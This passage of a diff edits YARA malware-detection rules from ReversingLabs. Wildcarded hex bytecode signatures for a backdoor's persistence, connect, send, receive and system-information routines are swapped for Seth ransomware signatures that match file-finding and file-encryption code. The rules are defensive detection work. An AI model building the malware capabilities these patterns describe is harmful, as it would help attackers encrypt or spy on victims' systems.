?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? - ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 13 ?? 18 13 ?? 28 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 13 ?? - 11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 28 ?? ?? ?? ?? 11 ?? 11 - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? - 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 72 ?? ?? ?? ?? - 11 ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 - ?? 72 ?? ?? ?? ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ?? - 11 ?? 28 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11 - ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 - } - $connect_v1_p1 = { - 00 16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 0B 00 07 13 ?? - 11 ?? 28 ?? ?? ?? ?? 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 - ?? 2C ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 14 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? - ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 28 - ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? - ?? ?? DE ?? 00 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? - ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? - ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? - 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 18 - 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 - 00 11 ?? 14 14 14 17 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 17 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 00 - 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? - ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 7F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 13 ?? 2B ?? 00 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 - } - $connect_v1_p2 = { - 00 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 11 ?? A2 00 - 11 ?? 17 7E ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? - A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? - ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? A2 00 11 ?? 1A 72 ?? - ?? ?? ?? A2 00 11 ?? 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1C 72 ?? ?? ?? ?? - A2 00 11 ?? 1D 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1E 72 ?? ?? ?? ?? A2 00 11 - ?? 1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? - 1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F - ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E - ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E ?? - ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 13 - ?? 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 16 80 ?? ?? ?? ?? 28 - ?? ?? ?? ?? DE ?? 00 00 DE ?? 11 ?? 28 ?? ?? ?? ?? 00 DC 7E ?? ?? ?? ?? 0A 2B ?? 06 - } - $send_v1 = { - 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 16 0A 38 ?? ?? ?? ?? 00 00 7E ?? - ?? ?? ?? 0B 00 07 13 ?? 11 ?? 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 - ?? 11 ?? 2C ?? 16 0A DD ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 02 8E B7 0D 12 ?? 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 0C 11 ?? 08 16 08 - 8E B7 6F ?? ?? ?? ?? 00 11 ?? 02 16 02 8E B7 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? - ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 11 ?? 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 00 DE - ?? 11 ?? 28 ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 28 ?? ?? ?? ?? - 00 11 ?? 13 ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 16 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? - 6F ?? ?? ?? ?? 00 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 28 ?? - ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 0A 2B ?? 06 - } - $receive_v1_p1 = { - 00 00 00 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? - 13 ?? 11 ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 00 00 00 07 17 D6 0B 07 1F ?? (FE | 01) ?? - 13 ?? 11 ?? 2C ?? 16 0B 17 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? - 11 ?? 2C ?? 00 DD ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 (FE | 04) ?? 13 ?? - 11 ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ?? ?? 26 00 00 00 7E ?? ?? - ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 06 15 6A (FE | 01) ?? - 13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? - ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 00 11 ?? 15 59 13 ?? 11 ?? 45 ?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? 2B ?? 00 00 DD ?? ?? ?? ?? 2B ?? 00 11 ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? - ?? 13 ?? 06 16 6A (FE | 01) ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15 - 6A 0A 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C - ?? 38 ?? ?? ?? ?? 00 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 00 17 13 ?? 11 ?? 3A ?? - ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ?? - ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0D 7E ?? ?? ?? ?? 8E B7 6A 09 (FE | 02) - } - $receive_v1_p2 = { - 13 ?? 11 ?? 2C ?? 09 17 6A DA B7 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 00 - 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E B7 16 6F ?? ?? ?? - ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 08 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? - ?? ?? 06 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 15 6A 0A 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? - ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 - 11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 80 ?? - ?? ?? ?? 00 38 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? - 00 00 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 7E ?? - ?? ?? ?? 28 ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 17 28 ?? ?? ?? - ?? 26 14 80 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 - 16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 2B ?? 00 17 80 ?? - ?? ?? ?? 38 ?? ?? ?? ?? 00 - } - $connect_v2 = { - 16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ?? - ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 14 80 ?? ?? ?? ?? DE ?? - 26 DE ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? DE ?? 26 DE ?? 73 ?? ?? ?? ?? - 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? - ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 - 10 27 00 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? - ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 80 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 07 7F ?? ?? ?? ?? 28 - ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 2B ?? 07 0C 72 ?? ?? ?? ?? 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 08 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 0B 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 07 A2 11 ?? 17 7E ?? ?? ?? ?? A2 11 ?? 18 - 72 ?? ?? ?? ?? A2 11 ?? 19 7E ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ?? - ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E - ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B - 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? DE ?? 26 16 80 ?? ?? ?? ?? DE ?? - DE ?? 11 ?? 28 ?? ?? ?? ?? DC 7E - } - $receive_v2 = { - 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 07 17 D6 - 0B 07 1F ?? 33 ?? 16 0B 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 6F ?? ?? ?? ?? 17 3C ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ?? - ?? 26 38 ?? ?? ?? ?? 06 15 6A 3B ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 8D - ?? ?? ?? ?? 80 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0C 7E ?? ?? ?? ?? 8E - 69 6A 08 31 ?? 08 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F - ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 16 6F ?? ?? ?? ?? 0D 7E ?? ?? ?? - ?? 7E ?? ?? ?? ?? 16 09 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 40 ?? ?? ?? - ?? 15 6A 0A 7E ?? ?? ?? ?? 2D ?? 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? - ?? ?? 7E ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? - ?? 80 ?? ?? ?? ?? 38 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 13 ?? 11 ?? 15 2E ?? 11 ?? 2C ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12 - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 28 - ?? ?? ?? ?? 0A 06 16 6A 33 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15 6A 0A 7E ?? ?? ?? - ?? 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? DE - ?? 26 DE ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? - 14 14 14 17 28 ?? ?? ?? ?? 26 14 80 ?? ?? ?? ?? DE ?? 26 DE ?? 16 80 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 2C ?? 17 80 - } - $get_system_information_v2_p1 = { - 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 0B 7F ?? ?? ?? ?? 28 ?? ?? ?? ?? - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 07 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 0D 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 - ?? 09 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 13 ?? 28 ?? - ?? ?? ?? 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 - 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? - ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE - ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 7E ?? ?? ?? ?? 6F - ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E - ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? - ?? 0A DE ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 0A DE ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? - ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 33 ?? 06 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 0A 06 11 ?? 11 ?? 8E 69 17 DA 9A 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 - } - $get_system_information_v2_p2 = { - 28 ?? ?? ?? ?? 0A DE ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 06 - 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 28 ?? ?? ?? - ?? 2C ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ?? - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A - 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? - 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? - 28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A - 13 ?? 11 ?? 6F ?? ?? ?? ?? 1F ?? 33 ?? 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 - ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 06 11 ?? 28 - } - $send_v2 = { - 7E ?? ?? ?? ?? 2D ?? 16 2A 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 2D ?? 16 13 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 02 8E 69 13 ?? 12 ?? 28 ?? ?? ?? - ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 12 ?? 28 ?? ?? ?? ?? 0D 07 09 16 09 8E 69 6F ?? - ?? ?? ?? 07 02 16 02 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 07 6F ?? ?? - ?? ?? 16 07 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 11 ?? 28 - ?? ?? ?? ?? DC DE ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 16 80 ?? ?? ?? - ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 28 ?? ?? ?? ?? DE ?? 7E ?? ?? ?? ?? - 2A 11 - } + $encrypt_files = { + 73 ?? ?? ?? ?? 0A 06 04 7D ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 25 2D + ?? 26 06 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 0C 7D ?? ?? ?? ?? 08 7E ?? ?? ?? ?? 25 + 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 + ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? + FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D + ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0D 00 00 09 03 28 ?? ?? + ?? ?? 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 26 00 00 DE ?? 26 00 00 DE + ?? 00 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 2A + } + $find_files = { + 00 73 ?? ?? ?? ?? 0A 00 28 ?? ?? ?? ?? 18 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17 + 72 ?? ?? ?? ?? A2 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 12 ?? 28 ?? + ?? ?? ?? 0C 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE + ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 06 + 0D 2B ?? 09 2A + } + $get_file_list = { + 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 2C + ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 38 ?? ?? + ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B + 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 00 07 09 6F ?? ?? + ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 + DC 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F + ?? ?? ?? ?? 00 00 2A + } condition: - uint16( 0 ) == 0x5A4D and ( ( ( all of ( $persistence_mechanism_v1_p* ) ) and ( all of ( $connect_v1_p* ) ) and ( $send_v1 ) and ( all of ( $receive_v1_p* ) ) ) or ( ( $connect_v2 ) and ( $receive_v2 ) and ( all of ( $get_system_information_v2_p* ) ) and ( $send_v2 ) ) ) + uint16( 0 ) == 0x5A4D and ( $get_file_list ) and ( $find_files ) and ( $encrypt_files ) } -rule REVERSINGLABS_Linux_Backdoor_Autocolor : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win64_Ransomware_Seth : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects AutoColor backdoor." + description = "Yara rule that detects Seth ransomware." author = "ReversingLabs" - id = "c6fea724-bd3d-56a0-a8c1-2e4d2e549766" - date = "2025-04-11" - modified = "2025-04-11" + id = "001de900-4556-5428-a243-7ec07a7ed05e" + date = "2021-04-02" + modified = "2021-04-02" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.AutoColor.yara#L1-L177" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Seth.yara#L1-L122" license_url = 